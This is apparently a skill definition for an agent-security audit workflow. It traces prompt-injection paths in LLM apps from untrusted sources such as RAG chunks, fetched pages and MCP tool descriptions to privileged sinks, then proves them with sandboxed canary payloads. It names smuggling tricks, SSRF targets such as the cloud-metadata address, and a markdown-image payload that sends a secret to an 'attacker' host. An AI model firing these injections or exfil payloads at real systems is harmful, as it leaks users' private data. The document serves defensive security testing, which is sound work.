---
name: agent-exploit-paths
description: >-
  Prove and rank the attacker-data → privileged-action exploit paths through an
  LLM/agent: the source→model→sink reachability and blast-radius audit that
  security-sweep's request→row model structurally can't see. Taints every
  untrusted ingress (RAG chunks, tool results, fetched pages, emails, parsed
  files, memory, peer-agent messages) through prompt assembly to every sink
  (tool dispatch, DB write, outbound send, render, exec), reports ONLY paths
  where a trust boundary is provably absent, and proves each with a live
  behavioral oracle (canary crossed a boundary / forbidden tool fired). Use when
  "prompt injection audit", "agent security", "is my AI app safe", "LLM
  security", "tool-call authz", "exploit paths", lethal-trifecta / excessive-
  agency review, or when bug-zero / project-autopilot route the AI/agent-security
  class here (security-sweep owns the SaaS infra boundary; this owns the agent one).
---

# Agent Exploit Paths

Point it at an LLM app or agent and it proves the paths that turn attacker-authored
*data* into a privileged *action*: a poisoned RAG chunk that fires a tool, a fetched
web page that exfiltrates a secret, a peer-agent message that escalates a capability.
It maps every untrusted source and every dangerous sink, taints one to the other
through the prompt-assembly layer, and reports a path only when a trust boundary is
*provably* absent, then proves it with a live behavioral oracle (a canary that
crosses a boundary, a forbidden tool that fires) firing through the app's *real*
retrieval and tool code. Structural fixes land under a green ratchet; anything that
changes a live permission, an auth path, or an irreversible capability is queued for
the owner, never auto-edited.

> **Core Insight:** In an agent, the model is an *untrusted producer*. Every token it
> emits (tool names, tool arguments, completion text routed to a sink) is
> attacker-influenceable the instant any untrusted text enters its context. So the
> audit is never about the model's judgment; it's about the **contract around the
> model**: is untrusted data fenced from the instruction role, is each tool call
> authorized server-side against the *end-user's* identity (not ambient service
> creds), are model-built arguments typed/allowlisted, is egress constrained, are
> output sinks neutralized. A finding exists only when a specific untrusted source
> reaches a specific privileged sink with **no boundary in between**, and you've
> watched a canary make the trip.

> **Core Insight #2: model-agnostic, both senses.** (a) It audits the contract, never
> any model's alignment or refusal behavior; the findings are identical whether Claude,
> GPT, or local Qwen3.6 drives the agent; a "well-aligned" model is not a control. (b)
> Every control it recommends lives *below the model-swap line* (dispatch layer, ingest,
> sinks, config) and every proof asserts on a behavioral **effect** (canary crossed a
> boundary / forbidden tool fired), so the audit and its regression suite keep holding
> after any model swap. A control that only works because "the model won't do that"
> is not a control. It's the absence of one.

## Preconditions / guards

1. **Know the agent's wiring before you grep.** Where is the prompt assembled? What is
   in the system/instruction role vs. the data role? Which calls retrieve, fetch, parse,
   or load memory (the SOURCES)? Which calls dispatch tools, write, send, render, or exec
   (the SINKS)? What sits at the dispatch boundary: a deterministic allow/deny layer, or
   just the model's say-so? A path written against the wrong assembly model is a phantom.
2. **PROVE fires only in a sandbox / test-mode, NEVER at prod.** This is the heavy phase
   and it sends live payloads through real retrieval and tool code. Mirror security-sweep's
   read-only-against-prod rule: spin a test instance, point tools at sinks *you* control
   (a canary-catching server, a tool-call recorder), never at a live customer, a real
   outbound channel, a production DB, or a real spend path. An exfil oracle that fires at
   prod *is* the breach.
3. **Green ratchet on every applied fix**: a fix that reds a test reverts; never weaken a
   test to pass. Each structural fix ships with a regression test that fails on the
   vulnerable code and passes on the fix.
4. **Capability / auth / irreversible changes are ask-user.** Adding server-side per-call
   authz, narrowing a tool's live permissions, gating an irreversible sink behind HITL, or
   splitting planner/executor on a running agent → write finding + recommended fix to
   `<project>/.autopilot/DECISIONS.md` (recommended option first). DO NOT auto-apply.
   Low-risk structural fixes (fence a data role, strip markdown images, allowlist an arg
   enum) land auto under the ratchet.

## Threat classes (where the fire goes)

Mapped to OWASP LLM Top 10 / MITRE ATLAS as a byproduct; the full table and the
channel-adapted payloads live in [references/PAYLOADS.md](references/PAYLOADS.md).

1. **Prompt injection, direct AND indirect (LLM01).** Direct from the end-user; indirect
   (the dangerous one) from any untrusted source the model reads: RAG chunks, tool results,
   fetched web pages, emails, parsed files (PDF/DOCX/CSV), prior memory, peer-agent
   messages. Includes **smuggling**: Unicode tag block (U+E0000…U+E007F), zero-width chars,
   bidi overrides, homoglyphs, base64 / rot13 / nested encodings, payloads hidden in EXIF
   / PDF metadata. Normalize every channel *before* deciding reachability; an
   un-normalized scan misses the live ones.
2. **Excessive agency + lethal trifecta + unbounded consumption (LLM06/LLM08).** The
   trifecta is the kill condition: **private data + untrusted ingress + an egress channel,
   all co-present in ONE agent context.** Any single context with all three is a standing
   finding regardless of current payload. Plus unbounded consumption: no loop/iteration
   cap, no spend ceiling, no tool-call budget: a single injection drains the wallet.
3. **Tool-dispatch authz: confused deputy (LLM07).** The agent acts on ambient/service
   credentials regardless of *which end-user* prompted it, with no deterministic allow/deny
   layer the model can't talk its way past. The control must thread the real end-user
   identity into every privileged call, server-side, below the model.
4. **Tool-argument injection at the dispatch boundary.** Every model-emitted argument is
   attacker-authored. The classic sinks: **SSRF** (RFC1918, `169.254.169.254` cloud
   metadata, `localhost:11434` Ollama / `:8000` vLLM, other internal services), RCE/shell,
   SQLi, path traversal, SSTI. Typed/enum/allowlisted args kill the whole family at once.
5. **Insecure output handling (LLM02).** Sinks fed by *completion text*: markdown-image
   zero-click exfil (`![](https://attacker/?leak=<secret>)` auto-fetched by the renderer),
   `dangerouslySetInnerHTML` / `eval` / shell taking model output verbatim.
6. **MCP / multi-agent edges as path endpoints.** Tool-description injection (a malicious
   MCP server's tool description is instruction text the model reads) and
   peer-output-as-instruction (one agent's output becomes another's trusted input). Covered
   here strictly as ingress SOURCES and egress SINKS on a path, NOT as a separate
   federation/fleet-trust audit (that's a roadmap follow-on, below).

## The Pipeline (staged: issue each phase only when the prior finishes)

```
Phase 1  MAP          AI-BOM-lite. grep/AST every ingress SOURCE (retriever calls,
                      tool-result concatenation, web-fetch, file/email parsers, MCP
                      resources, memory loads, peer-agent message reads) and every SINK
                      (tool dispatcher, DB write, outbound send, render, exec). Emit
                      <project>/.exploitpaths/SURFACE.md: the manifest of sources, sinks,
                      and the assembly points between them. CI-diff it: a NEW tool or MCP
                      server appearing in SURFACE.md is a reviewable security event, not a
                      silent capability gain.
Phase 2  CLASSIFY     Tag each source trusted / untrusted. Tag each sink by blast radius:
                      read · reversible-write · irreversible · spend · external-comms ·
                      credential-bearing. Flag lethal-trifecta CO-PRESENCE: any single
                      agent context holding private data + untrusted ingress + egress is a
                      standing finding before any payload is fired.
Phase 3  TRACE        Taint each untrusted source through prompt assembly to each sink. A
                      path is REACHABLE iff a trust boundary is ABSENT, i.e. none of: provenance
                      fencing (untrusted text marked as data, not instruction), data-role
                      separation, server-side per-call authz threading the end-user, typed/
                      allowlisted args, an egress allowlist, a HITL gate on the sink.
                      DETECT + NORMALIZE smuggling channels (PAYLOADS.md taxonomy) BEFORE
                      deciding: decode tag-block/zero-width/bidi/homoglyph/base64/metadata
                      first. No absent boundary = not a finding yet.
Phase 4  PROVE        Fire channel-adapted behavioral-oracle payloads through the app's REAL
                      retrieval / tool code (guard #2: sandbox/test-mode ONLY). Three oracles:
                      • EXFIL: plant a canary in private context + stand up a sink server;
                        finding iff the canary reaches the server (markdown-image, tool arg,
                        outbound send).
                      • TOOL-FIRE: record every dispatched call; finding iff fired-set ⊄
                        expected-set (an injection fired a tool the user never asked for).
                      • ARG-ESCAPE: feed allowlist-escape args (SSRF/traversal/SQLi);
                        finding iff a forbidden arg reaches the sink.
                      Severity = which oracle tripped + the sink's blast radius. A traced-
                      but-unproven path is a candidate, not a finding.
Phase 5  RANK&REPORT  Order survivors by blast radius × reachability. Each finding:
                      SOURCE → ASSEMBLY POINT → SINK, the concrete payload, the oracle proof,
                      cited file:line. security-sweep house style: no platitudes, no
                      "looks risky."
Phase 6  REMEDIATE    Structural fix per finding (see catalog below). Split by risk:
                      • Low-risk structural (nonce-fence a data role, strip markdown images,
                        allowlist/enum an arg, add an egress allowlist) → apply under the
                        green ratchet, each with its regression test.
                      • Live-permission / auth / irreversible-capability / planner-executor-
                        split → DO NOT EDIT. Write to <project>/.autopilot/DECISIONS.md.
Phase 7  FREEZE       Pin every surviving payload into a CI regression suite: green = these
                      known attacks are still blocked. Because the proofs assert on behavioral
                      effects below the model-swap line, the suite keeps protecting after a
                      model swap. Emit the OWASP-LLM / MITRE-ATLAS IDs per finding.
```

## The remediation catalog (Phase 6)

Each maps a class to the structural control that lives below the model-swap line:

- **Indirect injection** → nonce-fenced untrusted-data role separation: wrap every
  untrusted source in a per-request random delimiter and instruct the model that
  fenced content is data, never instructions; normalize/strip smuggling channels at
  ingest (tag-block, zero-width, bidi, homoglyph) so the fence can't be escaped.
- **Confused deputy / tool authz** → server-side per-call authorization that threads the
  *end-user* identity into every privileged tool call, enforced at the dispatch layer the
  model cannot address. The model proposes; the deterministic layer disposes.
- **Tool-argument injection (SSRF/RCE/SQLi/traversal/SSTI)** → typed / enum / allowlisted
  arguments at the dispatch boundary. An SSRF sink takes an enum of allowed hostnames, not
  a free string; this kills the whole tool-mediated-SSRF-and-exfil family at once.
- **Insecure output handling** → egress allowlist + strip/deny markdown images and active
  HTML in any sink fed by completion text; never `eval` / `dangerouslySetInnerHTML` /
  shell on model output.
- **Irreversible / high-blast sink** → HITL confirm gate (irreversible, spend,
  external-comms, credential-bearing sinks require a human or a deterministic policy ack
  before firing).
- **Lethal trifecta** → planner/executor split: break the single context so the component
  reading untrusted data has no egress, and the component with egress never reads
  untrusted data. Removes the kill condition structurally.

## Differentiator from security-sweep (zero overlap, by design)

security-sweep proves an **HTTP request reaches a route past auth/RLS**: request→row, a
human attacker, static analysis of the web tier. agent-exploit-paths proves **attacker-
authored DATA reaches a privileged ACTION through the model**: data→action, the model as
an untrusted producer, with a live behavioral proof. The two boundaries do not touch:

- A path here can be **fully authenticated and RLS-clean and still be total compromise**:
  the logged-in user pastes a poisoned doc, the agent reads it, the agent (acting on its
  own service creds, perfectly within RLS) exfiltrates another field or fires a tool. No
  request-tier control security-sweep audits would see it.
- security-sweep's exploit unit is "who hits which route bypassing which check." This
  skill's unit is "which untrusted source reaches which sink through the prompt with no
  boundary." Different attacker, different surface, different proof.
- **Most specific skill wins:** this owns the AI/agent boundary (prompts, tools, RAG, MCP,
  egress, output sinks); security-sweep owns the SaaS infra boundary (billing, webhooks,
  auth, RLS, secrets). An app with both surfaces needs both skills; neither subsumes the
  other.

## Output (what orchestrators get back)

- **Ranked verified exploit paths**: each: threat class + OWASP-LLM / MITRE-ATLAS ID,
  severity (blast radius × reachability), the `source → assembly point → sink` path, the
  concrete payload, the oracle proof, cited file:line, and the structural fix.
- **`<project>/.exploitpaths/SURFACE.md`**: the AI-BOM-lite manifest of sources, sinks,
  and assembly points; CI-diffable so new tools/MCP servers surface as security events.
- **Applied fixes**: low-risk structural only, green-ratcheted, each with its regression
  test.
- **CI regression suite**: surviving payloads pinned; green means still-blocked across
  model swaps.
- **`<project>/.autopilot/DECISIONS.md`**: appended: every capability / auth / irreversible
  change, recommended option first. Same inbox project-autopilot and idea-forge drain: one
  inbox, not three.

## Contract (what orchestrators rely on)

- **bug-zero** routes its AI/agent-security class (prompt injection, tool-authz,
  excessive agency, insecure output) here; security-sweep keeps the SaaS-infra class
  (billing, webhooks, auth, RLS, secrets). This skill returns verified paths into
  bug-zero's verify/fix loop.
- **project-autopilot** routes "AI/agent security" gaps here (vs security-sweep for SaaS
  infra); findings produced AUTO, capability/auth CHANGES ask-user via the decision inbox.
- **ship-it** calls it as a pre-ship gate for any app with an agent / tool surface.
- **Most specific skill wins:** chosen over generic audit-lens / security-sweep for any
  LLM-prompt, tool-dispatch, RAG, MCP, or agent-egress code.

## Roadmap (deferred follow-on skills; this is the spine they plug into)

Named so they don't bloat this skill; agent-exploit-paths is the source→sink spine each
extends:

- **MCP / model supply-chain provenance**: pickle/safetensors scanning, MCP manifest
  pinning, tool-description integrity. (Here, MCP edges are only path endpoints.)
- **RAG / agent-memory poisoning + cross-tenant vector ACL test**: proving a poisoned or
  cross-tenant chunk persists and re-fires across sessions. (Here, memory/RAG are sources.)
- **Multi-agent fleet-trust audit**: trust topology across whatever agent fleet you run
  (orchestrator agents, personal agents, NTM swarms).
  (Here, peer-agent messages are only sources/sinks on a single path.)

## THE EXACT PROMPT

```
/agent-exploit-paths
Target: <project path or agent subsystem (e.g. the RAG + tool-dispatch layer)>
Scope:  <whole agent | prompt assembly | tool dispatch | RAG ingest | MCP edges | egress/output sinks>
Stack:  <e.g. Next.js + Supabase + local vLLM agent + MCP tools>   (optional; it will infer)
Sandbox: <test-mode endpoint / sandbox the PROVE phase may fire at>   (required for Phase 4)
```

## Anti-Patterns

- Auditing the model's refusals instead of the contract. "The model won't comply" is not
  a control; a model swap erases it. Assert on the boundary, not the behavior.
- Reporting a traced path with no oracle proof. TRACE finds candidates; a finding requires
  PROVE (canary crossed / tool fired / arg escaped). "Looks injectable" is not a finding.
- Deciding reachability before normalizing smuggling channels. The live injection is the
  tag-block/zero-width/base64 one you didn't decode.
- Firing the PROVE phase at prod. An exfil oracle that trips against a real sink IS the
  breach. Sandbox/test-mode only, full stop.
- Calling a missing fence a finding without confirming no boundary catches it elsewhere
  (a downstream allowlist, a server-side authz layer). The phantom of this domain.
- Treating the lethal trifecta as fine because "no payload triggers it today". Co-presence
  of private data + untrusted ingress + egress in one context is a standing finding.
- Trusting tool arguments because "the model generated them". Every model-emitted arg is
  attacker-authored; type/enum/allowlist or it's a finding.
- Auto-applying a capability, auth, or irreversible-sink change. Decision inbox, full stop.
- Ranking by OWASP-LLM category name instead of blast radius × reachability. An indirect
  injection into a credential-bearing egress sink outranks a same-context info-echo every time.
- Banking a fix with no regression test that fails on the vulnerable code and survives a
  model swap.
- Bloating this skill into MCP supply-chain / memory-poisoning / fleet-trust. Those are
  named roadmap follow-ons; this is the spine, kept tight.

## References

- [PAYLOADS.md](references/PAYLOADS.md): the channel-adapted behavioral-oracle payload
  library (EXFIL / TOOL-FIRE / ARG-ESCAPE), the smuggling-channel taxonomy with
  detect+normalize rules, and the OWASP-LLM Top 10 / MITRE ATLAS mapping table.
